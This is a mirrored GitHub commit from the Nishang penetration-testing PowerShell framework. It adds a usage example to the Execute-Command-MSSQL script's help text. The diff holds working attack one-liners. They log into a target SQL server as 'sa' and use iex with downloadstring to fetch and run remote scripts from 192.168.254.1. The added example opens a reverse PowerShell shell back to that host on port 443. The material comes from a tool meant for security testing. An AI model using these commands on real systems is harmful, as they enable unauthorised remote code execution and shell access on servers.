mirror of
https://github.com/samratashok/nishang
synced 2026-06-08 17:20:25 +00:00
Added another example to Execute-Command-MSSQL
This commit is contained in:
@@ -35,9 +35,12 @@ Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): P
|
||||
Starting PowerShell on the target..
|
||||
PS target> iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Get-Information.ps1''));Get-Information
|
||||
|
||||
|
||||
Use above to execute scripts on a target.
|
||||
|
||||
.EXAMPLE
|
||||
PS> Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234 -payload "iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Invoke-PowerShellTcp.ps1''));Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.1 -Port 443"
|
||||
Use above to execute scripts on a target non-interactively.
|
||||
|
||||
.LINK
|
||||
http://www.labofapenetrationtester.com/2012/12/command-execution-on-ms-sql-server-using-powershell.html
|
||||
https://github.com/samratashok/nishang
|
||||
|
||||
Reference in New Issue
Block a user